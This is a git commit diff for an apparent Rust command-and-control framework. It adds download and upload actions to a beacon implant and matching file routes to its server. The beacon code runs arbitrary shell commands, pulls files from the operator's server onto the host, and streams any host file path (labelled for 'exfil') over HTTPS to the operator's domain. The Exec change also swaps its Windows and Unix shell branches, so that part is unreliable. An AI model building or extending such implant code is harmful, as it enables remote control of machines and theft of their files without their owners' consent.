feat: added download and upload commands

redid actions to better support different clients
This commit is contained in:
Andrew Rioux 2025-03-03 20:03:04 -05:00
parent e0bd5c3b06
commit 7f9ea12b6a
Signed by: andrew.rioux
GPG Key ID: 9B8BAC47C17ABB94
21 changed files with 401 additions and 88 deletions

13
Cargo.lock generated
View File

@ -3496,6 +3496,7 @@ dependencies = [
"bytes", "bytes",
"chrono", "chrono",
"enum_delegate", "enum_delegate",
"futures-core",
"http", "http",
"http-body-util", "http-body-util",
"hyper", "hyper",
@ -3511,6 +3512,8 @@ dependencies = [
"sqlx", "sqlx",
"thiserror 2.0.11", "thiserror 2.0.11",
"tokio", "tokio",
"tokio-stream",
"tokio-util",
"uuid", "uuid",
] ]
@ -3523,6 +3526,7 @@ dependencies = [
"chrono", "chrono",
"cron", "cron",
"futures", "futures",
"futures-core",
"http", "http",
"http-body", "http-body",
"http-body-util", "http-body-util",
@ -3543,6 +3547,7 @@ dependencies = [
"sparse-actions", "sparse-actions",
"thiserror 2.0.11", "thiserror 2.0.11",
"tokio", "tokio",
"tokio-util",
"tower-service", "tower-service",
"tracing", "tracing",
] ]
@ -3557,6 +3562,7 @@ dependencies = [
"axum-server", "axum-server",
"chrono", "chrono",
"futures", "futures",
"http-body-util",
"rcgen", "rcgen",
"rustls", "rustls",
"rustls-pki-types", "rustls-pki-types",
@ -3566,7 +3572,9 @@ dependencies = [
"sqlx", "sqlx",
"tokio", "tokio",
"tokio-stream", "tokio-stream",
"tokio-util",
"tracing", "tracing",
"uuid",
] ]
[[package]] [[package]]
@ -3611,6 +3619,7 @@ dependencies = [
"thiserror 1.0.69", "thiserror 1.0.69",
"tokio", "tokio",
"tokio-stream", "tokio-stream",
"tokio-util",
"tower 0.4.13", "tower 0.4.13",
"tower-http 0.5.2", "tower-http 0.5.2",
"tracing", "tracing",
@ -4616,9 +4625,9 @@ checksum = "b6c140620e7ffbb22c2dee59cafe6084a59b5ffc27a8859a5f0d494b5d52b6be"
[[package]] [[package]]
name = "uuid" name = "uuid"
version = "1.14.0" version = "1.15.1"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "93d59ca99a559661b96bf898d8fce28ed87935fd2bea9f05983c1464dd6c71b1" checksum = "e0f540e3240398cce6128b64ba83fdbdd86129c16a3aa1a3a252efd66eb3d587"
dependencies = [ dependencies = [
"getrandom 0.3.1", "getrandom 0.3.1",
"serde", "serde",

View File

@ -25,6 +25,9 @@ rustls = { version = "0.23.23", default-features = false, features = ["std"], op
sqlx = { version = "0.8", default-features = false, features = ["chrono", "macros", "migrate", "runtime-tokio", "sqlite", "sqlx-sqlite", "uuid"], optional = true } sqlx = { version = "0.8", default-features = false, features = ["chrono", "macros", "migrate", "runtime-tokio", "sqlite", "sqlx-sqlite", "uuid"], optional = true }
bytes = { version = "1.10.0", optional = true } bytes = { version = "1.10.0", optional = true }
http-body-util = { version = "0.1.2", optional = true } http-body-util = { version = "0.1.2", optional = true }
futures-core = { version = "0.3.31", optional = true }
tokio-stream = "0.1.17"
tokio-util = { version = "0.7.13", features = ["io"], optional = true }
[build-dependencies] [build-dependencies]
bindgen = "0.69" bindgen = "0.69"
@ -41,6 +44,8 @@ beacon = [
"dep:rmp-serde", "dep:rmp-serde",
"dep:bytes", "dep:bytes",
"dep:http-body-util", "dep:http-body-util",
"dep:futures-core",
"dep:tokio-util",
"uuid/v4" "uuid/v4"
] ]
server-ssr = ["uuid/v4", "dep:sqlx"] server-ssr = ["uuid/v4", "dep:sqlx"]

View File

@ -2,16 +2,19 @@
/// Cannot have fields that have the following names: /// Cannot have fields that have the following names:
/// `target_beacon_id`, `target_category_id`, or `cmd_type` /// `target_beacon_id`, `target_category_id`, or `cmd_type`
#[cfg(feature = "server")] #[cfg(feature = "server")]
use leptos::prelude::*; use leptos::{either::Either, prelude::*};
use serde::{Deserialize, Serialize}; use serde::{Deserialize, Serialize};
#[cfg(feature = "beacon")] #[cfg(feature = "beacon")]
use crate::{payload_types::Parameters, adapter::BeaconAdapter, error::BeaconError}; use crate::{payload_types::Parameters, adapter::BeaconAdapter, error::BeaconError};
use crate::version::Version; use crate::version::Version;
#[derive(Serialize, Deserialize, Clone)] #[derive(Serialize, Deserialize, Clone, Debug)]
pub struct FileId(pub uuid::Uuid); pub struct FileId(pub uuid::Uuid);
#[cfg(feature = "beacon")]
pub type CallbackBody<T> = Box<dyn hyper::body::Body<Data = bytes::Bytes, Error = BeaconError<<T as BeaconAdapter>::Error>> + Send + Unpin>;
/// Macro used to enforce the invariant that struct names are used to identify /// Macro used to enforce the invariant that struct names are used to identify
/// the enum branch as well /// the enum branch as well
macro_rules! define_actions_enum { macro_rules! define_actions_enum {
@ -28,11 +31,21 @@ macro_rules! define_actions_enum {
impl Actions { impl Actions {
#[cfg(feature = "server")] #[cfg(feature = "server")]
fn render_internal(&self, data: String) -> AnyView { pub fn render_composite_action(&self, data: String) -> impl IntoView {
let res: Result<Result<String, String>, _> = serde_json::from_str(&data); let res: Result<Result<String, String>, _> = serde_json::from_str(&data);
match res { match res {
Ok(Ok(v)) => match self { Ok(v) => Either::Left(self.render_internal(v)),
Err(_) => Either::Right(view! {
<p>"The command results in the database are corrupted"</p>
})
}
}
#[cfg(feature = "server")]
fn render_internal(&self, data: Result<String, String>) -> AnyView {
match data {
Ok(v) => match self {
$( $(
Actions::$act(action) => { Actions::$act(action) => {
let Ok(data) = serde_json::from_str(&v) else { let Ok(data) = serde_json::from_str(&v) else {
@ -44,7 +57,7 @@ macro_rules! define_actions_enum {
}, },
)* )*
}, },
Ok(Err(e)) => view! { Err(e) => view! {
<details> <details>
<summary> <summary>
"While running the command, an error occured:" "While running the command, an error occured:"
@ -53,9 +66,6 @@ macro_rules! define_actions_enum {
{e} {e}
</pre> </pre>
</details> </details>
}.into_any(),
Err(_) => view! {
<p>"The command results in the database are corrupted"</p>
}.into_any() }.into_any()
} }
} }
@ -76,10 +86,10 @@ macro_rules! define_actions_enum {
&self, &self,
parameters: &Parameters, parameters: &Parameters,
adapter: &'a T, adapter: &'a T,
client: &'a hyper_util::client::legacy::Client<S, http_body_util::Full<bytes::Bytes>> client: &'a hyper_util::client::legacy::Client<S, CallbackBody<T>>
) -> Result<Result<String, String>, BeaconError<T::Error>> ) -> Result<Result<String, String>, BeaconError<T::Error>>
where where
T: 'a + BeaconAdapter, T: 'static + BeaconAdapter,
S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static
{ {
match self { match self {
@ -116,6 +126,8 @@ macro_rules! define_actions_enum {
define_actions_enum! { define_actions_enum! {
(exec, Exec), (exec, Exec),
(download, Download),
(upload, Upload),
// (ls, Ls), // (ls, Ls),
// (update, Update), // (update, Update),
// (upload, Upload), // (upload, Upload),
@ -150,7 +162,7 @@ impl Action for Actions {
} }
#[cfg(feature = "server")] #[cfg(feature = "server")]
fn render_data(&self, data: String) -> AnyView { fn render_data(&self, data: Self::ActionData) -> AnyView {
self.render_internal(data) self.render_internal(data)
} }
@ -164,10 +176,10 @@ impl Action for Actions {
&self, &self,
parameters: &Parameters, parameters: &Parameters,
adapter: &'a T, adapter: &'a T,
client: &'a hyper_util::client::legacy::Client<S, http_body_util::Full<bytes::Bytes>> client: &'a hyper_util::client::legacy::Client<S, CallbackBody<T>>
) -> Result<Self::ActionData, BeaconError<T::Error>> ) -> Result<Self::ActionData, BeaconError<T::Error>>
where where
T: 'a + BeaconAdapter, T: 'static + BeaconAdapter,
S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static
{ {
self.execute_internal(parameters, adapter, client).await self.execute_internal(parameters, adapter, client).await
@ -188,7 +200,7 @@ pub trait Action: Serialize + for<'a> Deserialize<'a> {
async fn build_action(data: Self::BuilderData, db: &sqlx::SqlitePool) -> Result<Self, BuildActionError>; async fn build_action(data: Self::BuilderData, db: &sqlx::SqlitePool) -> Result<Self, BuildActionError>;
#[cfg(feature = "server")] #[cfg(feature = "server")]
fn render_data(&self, data: String) -> AnyView; fn render_data(&self, data: Self::ActionData) -> AnyView;
#[cfg(feature = "server")] #[cfg(feature = "server")]
fn render_empty(&self) -> AnyView; fn render_empty(&self) -> AnyView;
@ -198,10 +210,10 @@ pub trait Action: Serialize + for<'a> Deserialize<'a> {
&self, &self,
parameters: &Parameters, parameters: &Parameters,
adapter: &'a T, adapter: &'a T,
client: &'a hyper_util::client::legacy::Client<S, http_body_util::Full<bytes::Bytes>> client: &'a hyper_util::client::legacy::Client<S, CallbackBody<T>>
) -> Result<Self::ActionData, BeaconError<T::Error>> ) -> Result<Self::ActionData, BeaconError<T::Error>>
where where
T: 'a + BeaconAdapter, T: 'static + BeaconAdapter,
S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static; S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static;
} }

View File

@ -3,13 +3,13 @@ use leptos::prelude::*;
use serde::{Deserialize, Serialize}; use serde::{Deserialize, Serialize};
#[cfg(feature = "beacon")] #[cfg(feature = "beacon")]
use crate::payload_types::Parameters; use crate::{adapter::BeaconAdapter, error::BeaconError, payload_types::Parameters};
use crate::version::Version; use crate::version::Version;
#[derive(Serialize, Deserialize, Clone)] #[derive(Serialize, Deserialize, Clone, Debug)]
pub struct Download { pub struct Download {
download_src: super::FileId,
download_path: String, download_path: String,
download_src: super::FileId,
} }
#[async_trait::async_trait] #[async_trait::async_trait]
@ -22,16 +22,95 @@ impl super::Action for Download {
]; ];
type ActionData = (); type ActionData = ();
#[cfg(feature = "server-ssr")]
type BuilderData = Self;
#[cfg(feature = "server-ssr")]
async fn build_action(data: Self::BuilderData, _db: &sqlx::SqlitePool) -> Result<Self, super::BuildActionError> {
Ok(data)
}
#[cfg(feature = "beacon")] #[cfg(feature = "beacon")]
async fn execute(&self, _: &Parameters) -> Self::ActionData { async fn execute<'a, T, S>(
"Hi".to_string(); &self,
parameters: &Parameters,
_adapter: &'a T,
client: &'a hyper_util::client::legacy::Client<S, super::CallbackBody<T>>
) -> Result<Self::ActionData, BeaconError<T::Error>>
where
T: 'static + BeaconAdapter,
S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static
{
use http_body_util::{BodyExt, Empty};
use hyper::{Method, Request};
use tokio_stream::StreamExt;
use tokio::io::AsyncWriteExt;
let mut target_file = tokio::fs::OpenOptions::new()
.write(true)
.create(true)
.open(self.download_path.clone())
.await?;
let body: super::CallbackBody<T> = Box::new(
Empty::<bytes::Bytes>::new()
.map_err(|_| crate::error::BeaconError::GenericHyper(
"infallible case encountered".to_string()
))
);
let req = Request::builder()
.method(Method::GET)
.uri(format!(
"https://{}/files/download/{}",
parameters.domain_name::<T>()?,
self.download_src.0.to_string()
))
.body(body)?;
let resp = client.request(req).await?;
if !resp.status().is_success() {
let status = resp.status().clone();
if cfg!(debug_assertions) {
let body = resp.into_body();
let body = body.collect().await?;
dbg!(body);
}
return Err(BeaconError::SparseServerHttpError(status));
}
let mut body = resp.into_body().into_data_stream();
while let Some(Ok(chunk)) = body.next().await {
target_file.write(&chunk).await?;
}
Ok(())
} }
#[cfg(feature = "server")] #[cfg(feature = "server")]
fn render_data(&self, _data: Self::ActionData) -> impl IntoView { fn render_data(&self, _: Self::ActionData) -> AnyView {
view! { view! {
"ls ran" "File successfully downloaded to " {self.download_path.clone()}
} }
.into_any()
}
#[cfg(feature = "server")]
fn render_empty(&self) -> AnyView {
view! {
<div>
"request download of "
<a href=format!("/binaries/files/{}", self.download_src.0.to_string()) download>
"file"
</a>
" to "
<code>{self.download_path.clone()}</code>
</div>
}
.into_any()
} }
} }

View File

@ -33,10 +33,10 @@ impl super::Action for Exec {
&self, &self,
_parameters: &Parameters, _parameters: &Parameters,
_adapter: &'a T, _adapter: &'a T,
_client: &'a hyper_util::client::legacy::Client<S, http_body_util::Full<bytes::Bytes>> _client: &'a hyper_util::client::legacy::Client<S, super::CallbackBody<T>>
) -> Result<Self::ActionData, BeaconError<T::Error>> ) -> Result<Self::ActionData, BeaconError<T::Error>>
where where
T: 'a + BeaconAdapter, T: 'static + BeaconAdapter,
S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static
{ {
use std::process::Stdio; use std::process::Stdio;
@ -45,12 +45,21 @@ impl super::Action for Exec {
let mut output: Vec<String> = Vec::new(); let mut output: Vec<String> = Vec::new();
let mut cmd = Command::new("sh") let mut cmd = if cfg!(target_os = "windows") {
.arg("-c") Command::new("sh")
.arg(self.exec_cmd.clone()) .arg("-c")
.stdout(Stdio::piped()) .arg(self.exec_cmd.clone())
.stderr(Stdio::piped()) .stdout(Stdio::piped())
.spawn()?; .stderr(Stdio::piped())
.spawn()?
} else {
Command::new("cmd.exe")
.arg("/c")
.arg(self.exec_cmd.clone())
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()?
};
let mut stdout = cmd.stdout.take().ok_or(BeaconError::ChildExecResourceNotFound)?; let mut stdout = cmd.stdout.take().ok_or(BeaconError::ChildExecResourceNotFound)?;
let mut stderr = cmd.stderr.take().ok_or(BeaconError::ChildExecResourceNotFound)?; let mut stderr = cmd.stderr.take().ok_or(BeaconError::ChildExecResourceNotFound)?;
@ -86,7 +95,7 @@ impl super::Action for Exec {
} }
#[cfg(feature = "server")] #[cfg(feature = "server")]
fn render_data(&self, data: String) -> AnyView { fn render_data(&self, data: Self::ActionData) -> AnyView {
view! { view! {
<div> <div>
"execute command: " {self.exec_cmd.clone()} "execute command: " {self.exec_cmd.clone()}

View File

@ -3,10 +3,10 @@ use leptos::prelude::*;
use serde::{Deserialize, Serialize}; use serde::{Deserialize, Serialize};
#[cfg(feature = "beacon")] #[cfg(feature = "beacon")]
use crate::payload_types::Parameters; use crate::{adapter::BeaconAdapter, error::BeaconError, payload_types::Parameters};
use crate::version::Version; use crate::version::Version;
#[derive(Serialize, Deserialize, Clone)] #[derive(Serialize, Deserialize, Clone, Debug)]
pub struct Upload { pub struct Upload {
upload_src: String upload_src: String
} }
@ -19,17 +19,92 @@ impl super::Action for Upload {
("File path to upload/exfil", "upload_src", None) ("File path to upload/exfil", "upload_src", None)
]; ];
type ActionData = (); type ActionData = super::FileId;
#[cfg(feature = "server-ssr")]
type BuilderData = Self;
#[cfg(feature = "server-ssr")]
async fn build_action(data: Self::BuilderData, _db: &sqlx::SqlitePool) -> Result<Self, super::BuildActionError> {
Ok(data)
}
#[cfg(feature = "beacon")] #[cfg(feature = "beacon")]
async fn execute(&self, _: &Parameters) -> Self::ActionData { async fn execute<'a, T, S>(
"Hi".to_string(); &self,
parameters: &Parameters,
_adapter: &'a T,
client: &'a hyper_util::client::legacy::Client<S, super::CallbackBody<T>>
) -> Result<Self::ActionData, BeaconError<T::Error>>
where
T: 'static + BeaconAdapter,
S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static
{
use http_body_util::{BodyExt, StreamBody};
use hyper::{body::Frame, Method, Request};
use tokio_stream::StreamExt;
use tokio_util::io::ReaderStream;
let target_file = tokio::fs::OpenOptions::new()
.read(true)
.open(self.upload_src.clone())
.await?;
let read_stream = ReaderStream::new(target_file);
let body: super::CallbackBody<T> = Box::new(
StreamBody::new(read_stream
.map(|chunk| chunk
.map(Frame::data)
.map_err(Into::into))
)
);
let req = Request::builder()
.method(Method::POST)
.uri(format!(
"https://{}/files/upload",
parameters.domain_name::<T>()?,
))
.body(body)?;
let resp = client.request(req).await?;
if !resp.status().is_success() {
let status = resp.status().clone();
if cfg!(debug_assertions) {
let body = resp.into_body();
let body = body.collect().await?;
dbg!(body);
}
return Err(BeaconError::SparseServerHttpError(status));
}
let body = resp.into_body();
let body = body.collect().await?;
rmp_serde::from_slice(&body.to_bytes())
.map_err(Into::into)
} }
#[cfg(feature = "server")] #[cfg(feature = "server")]
fn render_data(&self, _data: Self::ActionData) -> impl IntoView { fn render_data(&self, id: Self::ActionData) -> AnyView {
view! { view! {
"ls ran" "File successfully uploaded: "
<a href=format!("/binaries/files/{}", id.0.to_string()) download>
"download"
</a>
} }
.into_any()
}
#[cfg(feature = "server")]
fn render_empty(&self) -> AnyView {
view! {
"request upload of "
<code>{self.upload_src.clone()}</code>
}
.into_any()
} }
} }

View File

@ -41,4 +41,6 @@ where
Json(#[from] serde_json::Error), Json(#[from] serde_json::Error),
#[error("could not acquire child resources")] #[error("could not acquire child resources")]
ChildExecResourceNotFound, ChildExecResourceNotFound,
#[error("generic hyper error")]
GenericHyper(String),
} }

View File

@ -10,4 +10,5 @@ pub mod adapter;
#[cfg(feature = "beacon")] #[cfg(feature = "beacon")]
pub mod error; pub mod error;
pub mod messages; pub mod messages;
pub mod prelude;
pub mod version; pub mod version;

View File

@ -0,0 +1,13 @@
#[cfg(feature = "beacon")]
use crate::{adapter::BeaconAdapter, error::BeaconError};
impl crate::payload_types::Parameters {
#[cfg(feature = "beacon")]
pub fn domain_name<'a, T>(&'a self) -> Result<&'a str, BeaconError<T::Error>>
where
T: BeaconAdapter,
{
std::str::from_utf8(&self.domain_name[..self.domain_name_length as usize])
.map_err(Into::into)
}
}

View File

@ -33,6 +33,8 @@ pcap-sys = { path = "../pcap-sys" }
sparse-actions = { path = "../sparse-actions", features = ["beacon"] } sparse-actions = { path = "../sparse-actions", features = ["beacon"] }
packets = { path = "../packets" } packets = { path = "../packets" }
chrono = "0.4.39" chrono = "0.4.39"
tokio-util = { version = "0.7.13", features = ["io"] }
futures-core = "0.3.31"
[features] [features]
openssl = ["dep:rustls-openssl"] openssl = ["dep:rustls-openssl"]

View File

@ -7,12 +7,11 @@ use hyper::{body::Incoming, Method, Request};
use rand::Rng; use rand::Rng;
use sparse_actions::payload_types::Parameters; use sparse_actions::payload_types::Parameters;
use sparse_actions::{actions::Action, adapter, error::BeaconError, messages}; use sparse_actions::{actions::{Action, CallbackBody}, adapter, error::BeaconError, messages};
mod callback; mod callback;
mod socket; mod socket;
mod tcp; mod tcp;
mod params;
pub fn install_rustls() { pub fn install_rustls() {
#[cfg(feature = "openssl")] #[cfg(feature = "openssl")]
@ -23,22 +22,29 @@ pub fn install_rustls() {
} }
async fn make_request_inner<A, Req>( async fn make_request_inner<A, Req>(
client: &callback::SClient<A, Full<bytes::Bytes>>, client: &callback::SClient<A, sparse_actions::actions::CallbackBody<A>>,
uri: hyper::Uri, uri: hyper::Uri,
req_body: Req req_body: Req
) -> Result<Response<Incoming>, BeaconError<A::Error>> ) -> Result<Response<Incoming>, BeaconError<A::Error>>
where where
A: adapter::BeaconAdapter + Clone + 'static, A: adapter::BeaconAdapter + Clone + 'static,
Req: serde::Serialize + Clone + Send + Sync + 'static Req: serde::Serialize + Clone + Send + Sync + 'static,
{ {
let mut body_buf = Vec::new(); let mut body_buf = Vec::new();
req_body.serialize(&mut rmp_serde::Serializer::new(&mut body_buf))?; req_body.serialize(&mut rmp_serde::Serializer::new(&mut body_buf))?;
let body: CallbackBody<A> = Box::new(
Full::<bytes::Bytes>::from(body_buf)
.map_err(|_| sparse_actions::error::BeaconError::GenericHyper(
"infallible case encountered".to_string()
))
);
let req = Request::builder() let req = Request::builder()
.method(Method::POST) .method(Method::POST)
.uri(uri) .uri(uri)
.header("content-type", "application/msgpack") .header("content-type", "application/msgpack")
.body(Full::<bytes::Bytes>::from(body_buf))?; .body(body)?;
let resp = client.request(req).await?; let resp = client.request(req).await?;
@ -58,7 +64,7 @@ where
} }
pub async fn make_bodiless_request<A, Req>( pub async fn make_bodiless_request<A, Req>(
client: &callback::SClient<A, Full<bytes::Bytes>>, client: &callback::SClient<A, sparse_actions::actions::CallbackBody<A>>,
uri: hyper::Uri, uri: hyper::Uri,
req_body: Req req_body: Req
) -> Result<(), BeaconError<A::Error>> ) -> Result<(), BeaconError<A::Error>>
@ -72,7 +78,7 @@ where
} }
pub async fn make_request<A, Req, Resp>( pub async fn make_request<A, Req, Resp>(
client: &callback::SClient<A, Full<bytes::Bytes>>, client: &callback::SClient<A, sparse_actions::actions::CallbackBody<A>>,
uri: hyper::Uri, uri: hyper::Uri,
req_body: Req req_body: Req
) -> Result<Resp, BeaconError<A::Error>> ) -> Result<Resp, BeaconError<A::Error>>
@ -104,7 +110,7 @@ where
let messages::BeaconConfig { runtime_config, unfinished_actions } = make_request( let messages::BeaconConfig { runtime_config, unfinished_actions } = make_request(
&client, &client,
format!("https://{}/checkin", params::domain_name::<A>(&params)?).parse()?, format!("https://{}/checkin", params.domain_name::<A>()?).parse()?,
messages::RegisterBeacon { messages::RegisterBeacon {
beacon_id: beacon_id.clone(), beacon_id: beacon_id.clone(),
template_id: params.template_id, template_id: params.template_id,
@ -142,7 +148,7 @@ where
&client, &client,
format!( format!(
"https://{}/finish/{}/{}", "https://{}/finish/{}/{}",
params::domain_name::<A>(&params)?, params.domain_name::<A>()?,
beacon_id, beacon_id,
cmd_id cmd_id
).parse()?, ).parse()?,

View File

@ -1,9 +0,0 @@
use sparse_actions::{adapter::BeaconAdapter, error::BeaconError, payload_types::Parameters};
pub fn domain_name<'a, T>(params: &'a Parameters) -> Result<&'a str, BeaconError<T::Error>>
where
T: BeaconAdapter,
{
std::str::from_utf8(&params.domain_name[..params.domain_name_length as usize])
.map_err(Into::into)
}

View File

@ -21,3 +21,6 @@ axum-msgpack = "0.4.0"
chrono = { version = "0.4.39", features = ["serde"] } chrono = { version = "0.4.39", features = ["serde"] }
sparse-actions = { path = "../sparse-actions" } sparse-actions = { path = "../sparse-actions" }
http-body-util = "0.1.2"
tokio-util = { version = "0.7.13", features = ["io"] }
uuid = { version = "1.15.1", features = ["v4"] }

View File

@ -1,5 +1,5 @@
use std::{ use std::{
collections::HashMap, net::SocketAddr, sync::{Arc, RwLock} collections::HashMap, net::SocketAddr, sync::{Arc, RwLock}, path::PathBuf
}; };
use rcgen::{CertificateParams, KeyPair}; use rcgen::{CertificateParams, KeyPair};
@ -54,7 +54,8 @@ impl std::ops::Deref for BeaconListenerMap {
pub async fn start_all_listeners( pub async fn start_all_listeners(
beacon_listener_map: BeaconListenerMap, beacon_listener_map: BeaconListenerMap,
db: SqlitePool, db: SqlitePool,
beacon_event_broadcast: tokio::sync::broadcast::Sender::<BeaconEvent> beacon_event_broadcast: tokio::sync::broadcast::Sender::<BeaconEvent>,
file_store: PathBuf,
) -> Result<(), crate::error::Error> { ) -> Result<(), crate::error::Error> {
rustls::crypto::ring::default_provider().install_default().expect("could not set up rustls"); rustls::crypto::ring::default_provider().install_default().expect("could not set up rustls");
@ -70,6 +71,7 @@ pub async fn start_all_listeners(
listener.listener_id, listener.listener_id,
db.clone(), db.clone(),
beacon_event_broadcast.clone(), beacon_event_broadcast.clone(),
file_store.clone()
) )
.await?; .await?;
} }
@ -88,7 +90,8 @@ pub async fn start_listener(
beacon_listener_map: BeaconListenerMap, beacon_listener_map: BeaconListenerMap,
listener_id: i64, listener_id: i64,
db: SqlitePool, db: SqlitePool,
beacon_event_broadcast: tokio::sync::broadcast::Sender::<BeaconEvent> beacon_event_broadcast: tokio::sync::broadcast::Sender::<BeaconEvent>,
file_store: PathBuf
) -> Result<(), crate::error::Error> { ) -> Result<(), crate::error::Error> {
{ {
let Ok(blm_handle) = beacon_listener_map.read() else { let Ok(blm_handle) = beacon_listener_map.read() else {
@ -111,7 +114,7 @@ pub async fn start_listener(
.fetch_one(&db) .fetch_one(&db)
.await?; .await?;
let app = router::get_router(db, beacon_event_broadcast.clone()); let app = router::get_router(db, beacon_event_broadcast.clone(), file_store);
let ca_cert = rustls::pki_types::CertificateDer::from(listener.certificate.clone()); let ca_cert = rustls::pki_types::CertificateDer::from(listener.certificate.clone());

View File

@ -1,9 +1,15 @@
use std::net::SocketAddr; use std::{net::SocketAddr, path::PathBuf};
use axum::{extract::{State, ConnectInfo, Path}, routing::post, Router}; use axum::{
extract::{State, ConnectInfo, Path, Request},
routing::{get, post},
Router
};
use axum_msgpack::MsgPack; use axum_msgpack::MsgPack;
use sqlx::SqlitePool; use sqlx::SqlitePool;
use tokio::sync::broadcast; use tokio::{io::AsyncWriteExt, sync::broadcast};
use tokio_util::io::ReaderStream;
use tokio_stream::StreamExt;
use sparse_actions::messages; use sparse_actions::messages;
@ -13,6 +19,7 @@ use crate::{BeaconEvent, error};
pub struct ListenerState { pub struct ListenerState {
db: SqlitePool, db: SqlitePool,
event_publisher: broadcast::Sender<BeaconEvent>, event_publisher: broadcast::Sender<BeaconEvent>,
file_store: PathBuf
} }
pub async fn handle_checkin( pub async fn handle_checkin(
@ -210,17 +217,52 @@ pub async fn handle_command_result(
Ok(()) Ok(())
} }
pub fn get_router(db: SqlitePool, event_publisher: broadcast::Sender<BeaconEvent>) -> Router<()> { pub async fn download_file(
State(state): State<ListenerState>,
Path(file_id): Path<String>
) -> Result<axum::body::Body, error::Error> {
let mut file_path = state.file_store.clone();
file_path.push(file_id);
let file = tokio::fs::File::open(file_path).await?;
let stream = ReaderStream::new(file);
Ok(axum::body::Body::from_stream(stream))
}
pub async fn upload_file(
State(state): State<ListenerState>,
request: Request
) -> Result<MsgPack<sparse_actions::actions::FileId>, error::Error> {
let file_id = uuid::Uuid::new_v4();
let mut target_file_path = state.file_store.clone();
target_file_path.push(file_id.to_string());
let mut target_file = tokio::fs::OpenOptions::new()
.write(true)
.create(true)
.open(target_file_path)
.await?;
let mut body = request.into_body().into_data_stream();
while let Some(Ok(chunk)) = body.next().await {
target_file.write_all(&chunk).await?;
}
Ok(MsgPack(sparse_actions::actions::FileId(file_id)))
}
pub fn get_router(db: SqlitePool, event_publisher: broadcast::Sender<BeaconEvent>, file_store: PathBuf) -> Router<()> {
Router::new() Router::new()
.route( .route(
"/checkin", "/checkin",
post(handle_checkin), post(handle_checkin),
) )
.route("/files/download/:fileid", post(|| async {})) .route("/files/download/:fileid", get(download_file))
.route("/files/upload", post(|| async {})) .route("/files/upload", post(upload_file))
.route( .route(
"/finish/:beaconid/:commandid", "/finish/:beaconid/:commandid",
post(handle_command_result), post(handle_command_result),
) )
.with_state(ListenerState { db, event_publisher }) .with_state(ListenerState { db, event_publisher, file_store })
} }

View File

@ -50,6 +50,7 @@ regex = "1.11.1"
server_fn = { version = "0.7.7", features = ["multipart"] } server_fn = { version = "0.7.7", features = ["multipart"] }
multer = { version = "3.1.0", optional = true } multer = { version = "3.1.0", optional = true }
uuid = { version = "1.14.0", features = ["v4"], optional = true } uuid = { version = "1.14.0", features = ["v4"], optional = true }
tokio-util = { version = "0.7.13", features = ["io"], optional = true }
sparse-actions = { path = "../sparse-actions", features = ["server"] } sparse-actions = { path = "../sparse-actions", features = ["server"] }
sparse-handler = { path = "../sparse-handler", optional = true } sparse-handler = { path = "../sparse-handler", optional = true }
@ -82,6 +83,7 @@ ssr = [
"dep:rand", "dep:rand",
"dep:multer", "dep:multer",
"dep:uuid", "dep:uuid",
"dep:tokio-util",
"leptos/ssr", "leptos/ssr",
"leptos_meta/ssr", "leptos_meta/ssr",
"leptos_router/ssr", "leptos_router/ssr",

View File

@ -242,27 +242,35 @@ pub fn InstancesView() -> impl IntoView {
let (done_with_scrolling, set_done_with_scrolling) = signal(false); let (done_with_scrolling, set_done_with_scrolling) = signal(false);
#[cfg(not(feature = "ssr"))] #[cfg(not(feature = "ssr"))]
let (web_socket, rebuild_websocket) = signal(use_websocket::< let user = expect_context::<ReadSignal<Option<crate::users::User>>>();
BeaconClientMessage,
BeaconViewEvent,
codee::string::JsonSerdeCodec,
>("/api/subscribe/listener"));
#[cfg(not(feature = "ssr"))] #[cfg(not(feature = "ssr"))]
(web_socket.get_untracked().send)(&BeaconClientMessage::LoadHistorical(0)); let web_socket = Memo::new_with_compare(
move |_| {
// subscribe to changes in the user, so that if a user signs it is possible
// to recreate the websocket with a new session ID
user.get();
#[cfg(not(feature = "ssr"))] leptos::logging::log!("Recreating socket");
Effect::new(move |_| {
let user = expect_context::<ReadSignal<Option<crate::users::User>>>(); use_websocket::<
user.with(move |_| {
rebuild_websocket(use_websocket::<
BeaconClientMessage, BeaconClientMessage,
BeaconViewEvent, BeaconViewEvent,
codee::string::JsonSerdeCodec, codee::string::JsonSerdeCodec,
>(&format!( >(&format!(
"/api/subscribe/beacon/{}", "/api/subscribe/beacon/{}",
instance_id.get().expect("could not extract ID from URL").id) instance_id.get().expect("could not extract ID from URL").id)
)); )
},
|_, _| true
);
#[cfg(not(feature = "ssr"))]
Effect::new(move |_| {
web_socket.get().ready_state.with(move |state| {
if *state == leptos_use::core::ConnectionReadyState::Open {
update_line_items(VecDeque::new());
(web_socket.get_untracked().send)(&BeaconClientMessage::LoadHistorical(0));
}
}); });
}); });
@ -409,7 +417,7 @@ pub fn InstancesView() -> impl IntoView {
{format!("command {command_id} finished executing at {result_date}")}<br/> {format!("command {command_id} finished executing at {result_date}")}<br/>
</div> </div>
<div class="instance-hist-body"> <div class="instance-hist-body">
{action.render_data(action_result)} {action.render_composite_action(action_result)}
</div> </div>
</div> </div>
}), }),

View File

@ -183,11 +183,13 @@ pub async fn start_listener(listener_id: i64) -> Result<(), ServerFnError> {
)); ));
} }
let target_file_path = expect_context::<std::path::PathBuf>();
sparse_handler::start_listener( sparse_handler::start_listener(
expect_context(), expect_context(),
listener_id, listener_id,
expect_context(), expect_context(),
expect_context() expect_context(),
target_file_path,
).await?; ).await?;
Ok(()) Ok(())

View File

@ -12,6 +12,7 @@ use leptos_axum::{generate_route_list, LeptosRoutes};
use serde::Deserialize; use serde::Deserialize;
use sqlx::sqlite::SqlitePool; use sqlx::sqlite::SqlitePool;
use tokio::signal; use tokio::signal;
use tokio_util::io::ReaderStream;
